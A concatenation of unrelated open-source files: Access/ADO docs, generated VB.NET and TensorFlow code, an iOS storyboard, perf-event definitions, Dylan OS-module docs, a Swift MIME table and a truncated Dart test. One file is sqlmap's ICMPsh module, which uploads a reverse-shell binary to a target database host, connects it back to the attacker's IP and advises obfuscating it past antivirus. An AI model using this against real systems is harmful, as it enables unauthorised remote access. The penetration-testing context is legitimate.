HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtendofrecordset_HV10294329.xml( VARIANT_BOOL * fMoreData , enum
EventStatusEnum * adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtfetchprogress_HV10294358.xml( long Progress , long MaxProgress,
enum EventStatusEnum * adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtfetchcomplete_HV10294356.xml( struct Error * pError , enum
EventStatusEnum * adStatus , struct _Recordset * pRecordset );
```
## See also
- [Access for developers forum](https://social.msdn.microsoft.com/Forums/office/home?forum=accessdev)
- [Access help on support.office.com](https://support.office.com/search/results?query=Access)
- [Access help on answers.microsoft.com](https://answers.microsoft.com/)
- [Access forums on UtterAccess](https://www.utteraccess.com/forum/index.php?act=idx)
- [Access developer and VBA programming help center (FMS)](https://www.fmsinc.com/MicrosoftAccess/developer/)
- [Access posts on StackOverflow](https://stackoverflow.com/questions/tagged/ms-access)
[!include[Support and feedback](~/includes/feedback-boilerplate.md)]
|
{
"pile_set_name": "Github"
}
|
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("RemoteApp_Tool.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
End Module
End Namespace
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
"""
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import time
from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import SqlmapDataException
class ICMPsh:
"""
This class defines methods to call icmpsh for plugins.
"""
def _initVars(self):
self.lhostStr = None
self.rhostStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() or conf.hostname
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
def _selectRhost(self):
address = None
message = "what is the back-end DBMS address? "
if self.remoteIP:
message += "[Enter for '%s' (detected)] " % self.remoteIP
while not address:
address = readInput(message, default=self.remoteIP)
if conf.batch and not address:
raise SqlmapDataException("remote host address is missing")
return address
def _selectLhost(self):
address = None
message = "what is the local address? "
if self.localIP:
message += "[Enter for '%s' (detected)] " % self.localIP
while not address:
address = readInput(message, default=self.localIP)
if conf.batch and not address:
raise SqlmapDataException("local host address is missing")
return address
def _prepareIngredients(self, encode=True):
self.lhostStr = ICMPsh._selectLhost(self)
self.rhostStr = ICMPsh._selectRhost(self)
def _runIcmpshMaster(self):
infoMsg = "running icmpsh master locally"
logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr)
def _runIcmpshSlaveRemote(self):
infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg)
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
self.execCmd(cmd, silent=True)
def uploadIcmpshSlave(self, web=False):
ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web:
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
else:
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile icmpsh with slight "
errMsg += "modification to the source code or pack it with an "
errMsg += "obfuscator software"
logger.error(errMsg)
return False
else:
logger.info("icmpsh successfully uploaded")
return True
def icmpPwn(self):
ICMPsh._prepareIngredients(self)
self._runIcmpshSlaveRemote()
self._runIcmpshMaster()
debugMsg = "icmpsh master exited"
logger.debug(debugMsg)
time.sleep(1)
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
time.sleep(1)
self.delRemoteFile(self._icmpslaveRemote)
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="4510" systemVersion="12F45" targetRuntime="iOS.CocoaTouch.iPad" propertyAccessControl="none" useAutolayout="YES" initialViewController="BYZ-38-t0r">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="3742"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
<layoutGuides>
<viewControllerLayoutGuide type="top" id="AP8-8w-0De"/>
<viewControllerLayoutGuide type="bottom" id="c8g-3k-wFn"/>
</layoutGuides>
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="768" height="1024"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="zxO-df-3Nm">
<rect key="frame" x="205" y="483" width="142" height="30"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<state key="normal" title="Simple Encoder Test">
<color key="titleShadowColor" white="0.5" alpha="1" colorSpace="calibratedWhite"/>
</state>
<connections>
<action selector="buttonPressed:" destination="BYZ-38-t0r" eventType="touchUpInside" id="pzf-mY-PCn"/>
</connections>
</button>
<label opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="Status:" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Mpw-Vf-v58">
<rect key="frame" x="205" y="401" width="221" height="21"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<color key="textColor" cocoaTouchSystemColor="darkTextColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
</view>
<connections>
<outlet property="statusText" destination="Mpw-Vf-v58" id="BbS-da-1lz"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
</scene>
</scenes>
<simulatedMetricsContainer key="defaultSimulatedMetrics">
<simulatedStatusBarMetrics key="statusBar" statusBarStyle="blackOpaque"/>
<simulatedOrientationMetrics key="orientation"/>
<simulatedScreenMetrics key="destination"/>
</simulatedMetricsContainer>
</document>
|
{
"pile_set_name": "Github"
}
|
[
{
"CollectPEBSRecord": "1",
"PublicDescription": "Counts every core cycle when a Data-side (walks due to a data operation) page walk is in progress.",
"EventCode": "0x05",
"Counter": "0,1,2,3",
"UMask": "0x1",
"EventName": "PAGE_WALKS.D_SIDE_CYCLES",
"SampleAfterValue": "200003",
"BriefDescription": "Duration of D-side page-walks in cycles"
},
{
"CollectPEBSRecord": "1",
"PublicDescription": "Counts every core cycle when a Instruction-side (walks due to an instruction fetch) page walk is in progress.",
"EventCode": "0x05",
"Counter": "0,1,2,3",
"UMask": "0x2",
"EventName": "PAGE_WALKS.I_SIDE_CYCLES",
"SampleAfterValue": "200003",
"BriefDescription": "Duration of I-side pagewalks in cycles"
},
{
"CollectPEBSRecord": "1",
"PublicDescription": "Counts every core cycle a page-walk is in progress due to either a data memory operation or an instruction fetch.",
"EventCode": "0x05",
"Counter": "0,1,2,3",
"UMask": "0x3",
"EventName": "PAGE_WALKS.CYCLES",
"SampleAfterValue": "200003",
"BriefDescription": "Duration of page-walks in cycles"
},
{
"CollectPEBSRecord": "1",
"PublicDescription": "Counts the number of times the machine was unable to find a translation in the Instruction Translation Lookaside Buffer (ITLB) for a linear address of an instruction fetch. It counts when new translation are filled into the ITLB. The event is speculative in nature, but will not count translations (page walks) that are begun and not finished, or translations that are finished but not filled into the ITLB.",
"EventCode": "0x81",
"Counter": "0,1,2,3",
"UMask": "0x4",
"EventName": "ITLB.MISS",
"SampleAfterValue": "200003",
"BriefDescription": "ITLB misses"
},
{
"PEBS": "2",
"CollectPEBSRecord": "2",
"PublicDescription": "Counts load uops retired that caused a DTLB miss.",
"EventCode": "0xD0",
"Counter": "0,1,2,3",
"UMask": "0x11",
"EventName": "MEM_UOPS_RETIRED.DTLB_MISS_LOADS",
"SampleAfterValue": "200003",
"BriefDescription": "Load uops retired that missed the DTLB (Precise event capable)"
},
{
"PEBS": "2",
"CollectPEBSRecord": "2",
"PublicDescription": "Counts store uops retired that caused a DTLB miss.",
"EventCode": "0xD0",
"Counter": "0,1,2,3",
"UMask": "0x12",
"EventName": "MEM_UOPS_RETIRED.DTLB_MISS_STORES",
"SampleAfterValue": "200003",
"BriefDescription": "Store uops retired that missed the DTLB (Precise event capable)"
},
{
"PEBS": "2",
"CollectPEBSRecord": "2",
"PublicDescription": "Counts uops retired that had a DTLB miss on load, store or either. Note that when two distinct memory operations to the same page miss the DTLB, only one of them will be recorded as a DTLB miss.",
"EventCode": "0xD0",
"Counter": "0,1,2,3",
"UMask": "0x13",
"EventName": "MEM_UOPS_RETIRED.DTLB_MISS",
"SampleAfterValue": "200003",
"BriefDescription": "Memory uops retired that missed the DTLB (Precise event capable)"
}
]
|
{
"pile_set_name": "Github"
}
|
***************************
The operating-system Module
***************************
.. current-library:: system
.. current-module:: operating-system
The operating-system module is part of the System library. It provides
an interface to some features of the host machine's operating system.
.. contents::
Manipulating environment information
------------------------------------
The operating-system module contains a number of interfaces for
examining and specifying information about the operating system
environment of the host machine. As well as providing constants that you
can use in your code, you can examine and set the value of any
environment variable in the system.
The following constants contain machine-specific information:
- :const:`$architecture-little-endian?`
- :const:`$machine-name`
- :const:`$os-name`
- :const:`$os-variant`
- :const:`$os-version`
- :const:`$platform-name`
These constants contain information about the hardware and software
resident on the host machine. The constants let you programmatically
check the current system conditions before executing a piece of code.
The following function also returns information about the machine:
- :func:`machine-concurrent-thread-count`
The following two functions let you manipulate the values of any
environment variables in the system.
- :func:`environment-variable`
- :func:`environment-variable-setter`
The following functions access information about the user logged on to
the current machine, where available.
- :func:`login-name`
- :func:`login-group`
- :func:`owner-name`
- :func:`owner-organization`
Running Applications
--------------------
- :func:`run-application`
Manipulating application information
------------------------------------
The operating-system module contains a number of functions for
manipulating information specific to a given application, rather than
the environment as a whole. You can run or quit any application, and
interrogate the running application for application-specific
information.
- :func:`exit-application`
- :func:`register-application-exit-function`
- :func:`application-arguments`
- :func:`application-name`
- :func:`application-filename`
- :func:`tokenize-command-string`
- :func:`current-process-id`
- :func:`parent-process-id`
Working with shared libraries
-----------------------------
- :func:`load-library`
The operating-system module
---------------------------
This section contains a reference entry for each item exported from the
System library's operating-system module.
.. function:: application-arguments
Returns the arguments passed to the running application.
:signature: application-arguments => *arguments*
:value arguments: An instance of :drm:`<simple-object-vector>`.
:description:
Returns the arguments passed to the running application as a vector
of instances of :drm:`<byte-string>`.
:seealso:
- :func:`application-filename`
- :func:`application-name`
- :func:`tokenize-command-string`
.. function:: application-filename
Returns the full filename of the running application.
:signature: application-filename => *false-or-filename*
:value false-or-filename: An instance of ``false-or(<byte-string>)``.
:description:
Returns the full filename (that is, the absolute pathname) of the
running application, or ``#f`` if the filename cannot be
determined.
:example:
The following is an example of an absolute pathname naming an
application::
"C:\\Program Files\\foo\\bar.exe"
:seealso:
- :func:`application-arguments`
- :func:`application-name`
- :func:`tokenize-command-string`
.. function:: application-name
Returns the name of the running application.
:signature: application-name => *name*
:value name: An instance of :drm:`<byte-string>`.
:description:
Returns the name of the running application. This is normally the
command name as typed on the command line and may be a non-absolute
pathname.
:example:
The following is an example of a non-absolute pathname used to refer to
the application name::
"foo\\bar.exe"
:seealso:
- :func:`application-arguments`
- :func:`application-filename`
- :func:`tokenize-command-string`
.. constant:: $architecture-little-endian?
Constant specifying whether the processor architecture is little-endian.
:type: <boolean>
:description:
This constant is a boolean value that is true if the processor
architecture is little-endian and false if it is big-endian. (A
processor is little-endian if the rightmost bit in a word is the
least-significant bit.) For processors implementing the Intel x86
architecture this value is ``#t``.
:seealso:
- :const:`$machine-name`
- :const:`$os-name`
- :const:`$os-variant`
- :const:`$os-version`
- :const:`$platform-name`
.. function:: current-process-id
Returns the integer value for the current process ID.
:signature: current-process-id => *pid*
:value pid: An instance of :drm:`<integer>`.
:description:
Returns the integer value of the current process ID.
:seealso:
- :func:`current-thread-id`
- :func:`parent-process-id`
.. function:: environment-variable
Returns the value of a specified environment variable.
:signature: environment-variable *name* => *value*
:parameter name: An instance of :drm:`<byte-string>`.
:value value: An instance of :drm:`<byte-string>`, or ``#f``.
:description:
Returns the value of the environment variable specified by *name*,
or ``#f`` if there is no such environment variable.
:seealso:
- :func:`environment-variable-setter`
.. function:: environment-variable-setter
Sets the value of an environment variable.
:signature: environment-variable-setter *new-value* *name* => *new-value*
:parameter new-value: An instance of :drm:`<byte-string>`, or ``#f``.
:parameter name: An instance of :drm:`<byte-string>`.
:value new-value: An instance of :drm:`<byte-string>`, or ``#f``.
:description:
Changes the value of the environment variable specified by *name*
to *new-value*. If *new-value* is ``#f``, the environment variable
is undefined. If the environment variable does not already exist,
*environment-variable-setter* creates it.
.. note:: Windows 95 places restrictions on the number of
environment variables allowed, based on the total length of the
names and values of the existing environment variables. The
function *environment-variable-setter* only creates a new
environment variable if it is possible within these restrictions.
See the relevant Windows 95 documentation for more details.
:seealso:
- :func:`environment-variable`
.. function:: exit-application
Terminates execution of the running application.
:signature: exit-application *status* => ()
:parameter status: An instance of :drm:`<integer>`.
:description:
Terminates execution of the running application, returning the
value of *status* to whatever launched the application, for example
an MS-DOS window or Windows 95/NT shell.
.. note:: This function is also available from the ``dylan-extensions``
module in the ``dylan`` library and the ``common-extensions`` module
of the ``common-dylan`` library.
:seealso:
- :func:`register-application-exit-function`
.. function:: load-library
Loads a shared library into the current process.
:signature: load-library *name* => *module*
:parameter name: An instance of :drm:`<string>`.
:value module: An instance of :class:`<machine-word>`.
:description:
Loads the library specified by *name* into the current process. The
library must be a shared library.
If the library is a library written in Dylan, then when it loaded,
constructor functions will run which set up the various methods and other
Dylan objects within the shared library. Top level code within the library
will be executed.
Load-time failures, for example due to missing files or
unsatisfied symbol dependencies, will cause an :drm:`<error>`
condition to be signaled.
.. note:: Dynamic loading of Dylan code is currently only
supported on non-Windows platforms using the LLVM
back-end, and on Windows using the HARP back-end.
.. function:: login-name
Returns as an instance of :drm:`<string>` the name of the user logged on
to the current machine, or ``#f`` if unavailable.
:signature: login-name () => *name-or-false*
:value name-or-false: An instance of ``false-or(<string>)``.
:description:
Returns as an instance of :drm:`<string>` the name of the user logged
on to the current machine, or ``#f`` if unavailable.
:seealso:
- :func:`login-group`
.. function:: login-group
:signature: login-group () => *group-or-false*
:value group-or-false: An instance of ``false-or(<string>)``.
:description:
Returns as an instance of :drm:`<string>` the group (for example NT
domain, or Windows Workgroup) of which the user logged on to the
current machine is a member, or ``#f`` if the group is unavailable.
:seealso:
- :func:`login-name`
.. constant:: $machine-name
Constant specifying the type of hardware installed in the host machine.
:type: <symbol>
:value: #"x86", #"x86-64", #"ppc"
:description:
This constant is a symbol that represents the type of hardware
installed in the host machine.
:seealso:
- :const:`$architecture-little-endian?`
- :const:`$os-name`
- :const:`$os-variant`
- :const:`$os-version`
- :const:`$platform-name`
.. constant:: $os-name
Constant specifying the operating system running on the host machine.
:type: <symbol>
:value: #"win32", #"linux", #"darwin", #"freebsd"
:description:
This constant is a symbol that represents the operating system
running on the host machine.
:seealso:
- :const:`$architecture-little-endian?`
- :const:`$machine-name`
- :const:`$os-variant`
- :const:`$os-version`
- :const:`$platform-name`
.. constant:: $os-variant
Constant specifying which variant of an operating system the current
machine is running, where relevant.
:type: <symbol>
:description:
This constant is a symbol value distinguishing between variants of
the operating system identified by ``$os-name``, where relevant;
otherwise it has the same value as ``$os-name``. On Windows, the
possible values are ``#"win3.1"``, ``#"win95"``, ``#"win98"``, and
``#"winnt"``.
:seealso:
- :const:`$architecture-little-endian?`
- :const:`$machine-name`
- :const:`$os-name`
- :const:`$os-version`
- :const:`$platform-name`
.. constant:: $os-version
Constant specifying which version of an operating system the current
machine is running.
:type: <string>
:description:
The constant *$os-version* is a string value that identifies the
version of the operating system. For Windows NT, a typical value
would be *"4.0.1381 Service Pack 3"*. For Windows 95, a typical
value would be *"4.0.1212 B"*.
:seealso:
- :const:`$architecture-little-endian?`
- :const:`$machine-name`
- :const:`$os-name`
- :const:`$os-variant`
- :const:`$platform-name`
.. function:: owner-name
Returns the name of the user who owns the current machine, if available.
:signature: owner-name () => *name-or-false*
:value name-or-false: An instance of ``false-or(<string>)``.
:description:
Returns as an instance of :drm:`<string>` the name of the user who
owns the current machine (that is, the name entered when the
machine was registered), or ``#f`` if the name is unavailable.
.. function:: owner-organization
Returns the organization to which the user who owns the current
machine belongs, if available.
:signature: owner-organization () => *organization-or-false*
:value organization-or-false: An instance of ``false-or(<string>)``.
:description:
Returns as an instance of :drm:`<string>` the organization to which
the user who owns the current machine belongs, or ``#f`` if the
name is unavailable.
.. function:: parent-process-id
Returns the integer value for the parent process ID.
:signature: parent-process-id => *pid*
:value pid: An instance of :drm:`<integer>`.
:description:
Returns the integer value of the parent process ID.
.. note:: This is not yet implemented on Windows.
:seealso:
- :func:`current-process-id`
- :func:`current-thread-id`
.. constant:: $platform-name
Constant specifying the operating system running on and the type of
hardware installed in the host machine.
:type: <symbol>
:value: ``#"x86-win32"``, ``#"x86-linux"``, etc.
:description:
This constant is a symbol that represents the both the operating
system running on, and the type of hardware installed in, the host
machine. It is a combination of the :const:`$os-name` and
:const:`$machine-name` constants.
:example:
``#"x86-win32"``, ``#"x86_64-linux"``
:seealso:
- :const:`$machine-name`
- :const:`$os-name`
.. function:: machine-concurrent-thread-count
Return the number of concurrent execution threads available.
:signature: machine-concurrent-thread-count => *count*
:value count: An instance of :drm:`<integer>`.
:description:
Returns the number of execution threads currently
available. This normally corresponds to the number of logical
processor cores currently online, and may vary over the lifetime
of the program.
.. function:: register-application-exit-function
Register a function to be executed when the application is about to exit.
:signature: register-application-exit-function *function* => ()
:parameter function: An instance of :drm:`<function>`.
:description:
Register a function to be executed when the application is about to
exit. The Dylan runtime will make sure that these functions are executed.
The *function* should not expect any arguments, nor expect that any return
values be used.
.. note:: Currently, the registered functions will be invoked in the reverse
order in which they were added. This is **not** currently a contractual
guarantee and may be subject to change.
.. note:: This function is also available from the ``dylan-extensions``
module in the ``dylan`` library and the ``common-extensions`` module
of the ``common-dylan`` library.
:example:
:seealso:
- :func:`exit-application`
.. function:: run-application
Launches an application using the specified name and arguments.
:signature: run-application *command* #key *minimize?* *activate?* *under-shell?* *inherit-console?* => *status*
:parameter command: An instance of :drm:`<string>`.
:parameter #key minimize?: An instance of :drm:`<boolean>`.
:parameter #key activate?: An instance of :drm:`<boolean>`.
:parameter #key under-shell?: An instance of :drm:`<boolean>`.
:parameter #key inherit-console?: An instance of :drm:`<boolean>`.
:value status: An instance of :drm:`<integer>`.
:description:
Launches an application using the name and arguments specified in
command. Using this function is equivalent to typing the command in
a MS-DOS window. The return value is the exit status returned by
the application.
If the *minimize?* keyword is ``#t``, the command's shell will
appear minimized. It is ``#f`` by default.
If the *activate?* keyword is ``#t``, the shell window becomes the
active window. It is ``#t`` by default.
If the *under-shell?* keyword is ``#t``, an MS-DOS shell is created
to run the application; otherwise, the application is run directly.
It is ``#f`` by default.
If the *inherit-console?* keyword is ``#t``, the new application
uses the same console window as the current application; otherwise,
the new application is created with a separate console window. It
is ``#t`` by default.
:seealso:
- :func:`exit-application`
.. function:: tokenize-command-string
Parses a command line into a command name and arguments.
:signature: tokenize-command-string *line* => *command* #rest *arguments*
:parameter line: An instance of :drm:`<byte-string>`.
:value command: An instance of :drm:`<byte-string>`.
:value #rest arguments: Instances of :drm:`<byte-string>`.
:description:
Parses the command specified in *line* into a command name and
arguments. The rules used to tokenize the string are given in
Microsoft's C/C++ reference in the section `"Parsing C Command-Line
Arguments" <http://msdn.microsoft.com/en-us/library/a1y7w461.aspx>`_.
:seealso:
- :func:`application-arguments`
- :func:`application-name`
|
{
"pile_set_name": "Github"
}
|
//
// MimeTypea.swift
//
// This source file is part of the Telegram Bot SDK for Swift (unofficial).
//
// Copyright (c) 2015 - 2020 Andrey Fidrya and the project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See LICENSE.txt for license information
// See AUTHORS.txt for the list of the project authors
//
import Foundation
let mimeTypes: [String: String] = [
"3gp": "video/3gpp",
"3gpp": "video/3gpp",
"7z": "application/x-7z-compressed",
"ai": "application/postscript",
"asf": "video/x-ms-asf",
"asx": "video/x-ms-asf",
"atom": "application/atom+xml",
"avi": "video/x-msvideo",
"bin": "application/octet-stream",
"bmp": "image/x-ms-bmp",
"cco": "application/x-cocoa",
"crt": "application/x-x509-ca-cert",
"css": "text/css",
"deb": "application/octet-stream",
"der": "application/x-x509-ca-cert",
"dll": "application/octet-stream",
"dmg": "application/octet-stream",
"doc": "application/msword",
"docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"ear": "application/java-archive",
"eot": "application/vnd.ms-fontobject",
"eps": "application/postscript",
"exe": "application/octet-stream",
"flv": "video/x-flv",
"gif": "image/gif",
"hqx": "application/mac-binhex40",
"htc": "text/x-component",
"htm": "text/html",
"html": "text/html",
"ico": "image/x-icon",
"img": "application/octet-stream",
"iso": "application/octet-stream",
"jad": "text/vnd.sun.j2me.app-descriptor",
"jar": "application/java-archive",
"jardiff": "application/x-java-archive-diff",
"jng": "image/x-jng",
"jnlp": "application/x-java-jnlp-file",
"jpeg": "image/jpeg",
"jpg": "image/jpeg",
"js": "application/javascript",
"json": "application/json",
"kar": "audio/midi",
"kml": "application/vnd.google-earth.kml+xml",
"kmz": "application/vnd.google-earth.kmz",
"m3u8": "application/vnd.apple.mpegurl",
"m4a": "audio/x-m4a",
"m4v": "video/x-m4v",
"md": "text/markdown",
"mpg": "video/mpeg",
"mid": "audio/midi",
"midi": "audio/midi",
"mml": "text/mathml",
"mng": "video/x-mng",
"mov": "video/quicktime",
"mp3": "audio/mpeg",
"mp4": "video/mp4",
"mpeg": "video/mpeg",
"msi": "application/octet-stream",
"msm": "application/octet-stream",
"msp": "application/octet-stream",
"ogg": "audio/ogg",
"pdb": "application/x-pilot",
"pdf": "application/pdf",
"pem": "application/x-x509-ca-cert",
"pl": "application/x-perl",
"pm": "application/x-perl",
"png": "image/png",
"ppt": "application/vnd.ms-powerpoint",
"pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
"prc": "application/x-pilot",
"ps": "application/postscript",
"ra": "audio/x-realaudio",
"rar": "application/x-rar-compressed",
"rpm": "application/x-redhat-package-manager",
"rss": "application/rss+xml",
"rtf": "application/rtf",
"run": "application/x-makeself",
"sea": "application/x-sea",
"shtml": "text/html",
"sit": "application/x-stuffit",
"svg": "image/svg+xml",
"svgz": "image/svg+xml",
"swf": "application/x-shockwave-flash",
"tcl": "application/x-tcl",
"tif": "image/tiff",
"tiff": "image/tiff",
"tk": "application/x-tcl",
"ts": "video/mp2t",
"txt": "text/plain",
"war": "application/java-archive",
"wbmp": "image/vnd.wap.wbmp",
"webm": "video/webm",
"webp": "image/webp",
"wml": "text/vnd.wap.wml",
"wmlc": "application/vnd.wap.wmlc",
"wmv": "video/x-ms-wmv",
"woff": "application/font-woff",
"xhtml": "application/xhtml+xml",
"xls": "application/vnd.ms-excel",
"xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
"xml": "text/xml",
"xpi": "application/x-xpinstall",
"xspf": "application/xspf+xml",
"zip": "application/zip"
]
|
{
"pile_set_name": "Github"
}
|
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: tensorflow/core/protobuf/control_flow.proto
package org.tensorflow.framework;
public interface ValuesDefOrBuilder extends
// @@protoc_insertion_point(interface_extends:tensorflow.ValuesDef)
com.google.protobuf.MessageOrBuilder {
/**
* <pre>
* Value names that have been seen in this context.
* </pre>
*
* <code>repeated string values = 1;</code>
*/
java.util.List<java.lang.String>
getValuesList();
/**
* <pre>
* Value names that have been seen in this context.
* </pre>
*
* <code>repeated string values = 1;</code>
*/
int getValuesCount();
/**
* <pre>
* Value names that have been seen in this context.
* </pre>
*
* <code>repeated string values = 1;</code>
*/
java.lang.String getValues(int index);
/**
* <pre>
* Value names that have been seen in this context.
* </pre>
*
* <code>repeated string values = 1;</code>
*/
com.google.protobuf.ByteString
getValuesBytes(int index);
/**
* <pre>
* Value names referenced by but external to this context.
* </pre>
*
* <code>map<string, string> external_values = 2;</code>
*/
int getExternalValuesCount();
/**
* <pre>
* Value names referenced by but external to this context.
* </pre>
*
* <code>map<string, string> external_values = 2;</code>
*/
boolean containsExternalValues(
java.lang.String key);
/**
* Use {@link #getExternalValuesMap()} instead.
*/
@java.lang.Deprecated
java.util.Map<java.lang.String, java.lang.String>
getExternalValues();
/**
* <pre>
* Value names referenced by but external to this context.
* </pre>
*
* <code>map<string, string> external_values = 2;</code>
*/
java.util.Map<java.lang.String, java.lang.String>
getExternalValuesMap();
/**
* <pre>
* Value names referenced by but external to this context.
* </pre>
*
* <code>map<string, string> external_values = 2;</code>
*/
java.lang.String getExternalValuesOrDefault(
java.lang.String key,
java.lang.String defaultValue);
/**
* <pre>
* Value names referenced by but external to this context.
* </pre>
*
* <code>map<string, string> external_values = 2;</code>
*/
java.lang.String getExternalValuesOrThrow(
java.lang.String key);
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2016, the Dart project authors. Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
import 'dart:io' show exitCode;
import 'package:analyzer_cli/src/driver.dart' show Driver, outSink, errorSink;
import 'package:analyzer_cli/src/options.dart' show ExitHandler, exitHandler;
import 'package:path/path.dart';
import 'package:test/test.dart';
import 'utils.dart' show testDirectory;
void main() {
group('--x-package-warnings-prefix', () {
_Runner runner;
setUp(() {
runner = _Runner.setUp();
});
tearDown(() {
runner.tearDown();
runner = null;
});
test('shows only the hint whose package matches the prefix', () async {
await runner.run2([
'--packages',
join(testDirectory, 'data', 'package_prefix', 'packagelist'),
'--x-package-warnings-prefix=f',
join(testDirectory, 'data', 'package_prefix', 'main.dart')
]);
expect(runner.stdout, contains('1 hint found'));
expect(runner.stdout, contains('Unused import'));
expect(runner.stdout,
contains(join('package_prefix', 'pkg', 'foo', 'foo.dart')));
expect(runner.stdout, isNot(contains('bar.dart')));
});
});
}
class _Runner {
final _stdout = StringBuffer();
final _stderr = StringBuffer();
final StringSink _savedOutSink;
final StringSink _savedErrorSink;
final int _savedExitCode;
final ExitHandler _savedExitHandler;
_Runner.setUp()
: _savedOutSink = outSink,
_savedErrorSink = errorSink,
_savedExitHandler = exitHandler,
_savedExitCode = exitCode {
outSink = _stdout;
errorSink = _stderr;
exitHandler = (_) {};
}
String get stderr => _stderr.toString();
String get stdout => _stdout.toString();
Future<void> run2(List<String> args) async {
await Driver().start(args);
if (stderr.isNotEmpty) {
fail('Unexpected output to stderr:\n$stderr');
}
}
void tearDown() {
outSink = _savedOutSink;
errorSink = _savedErrorSink;
exitCode = _savedExitCode;
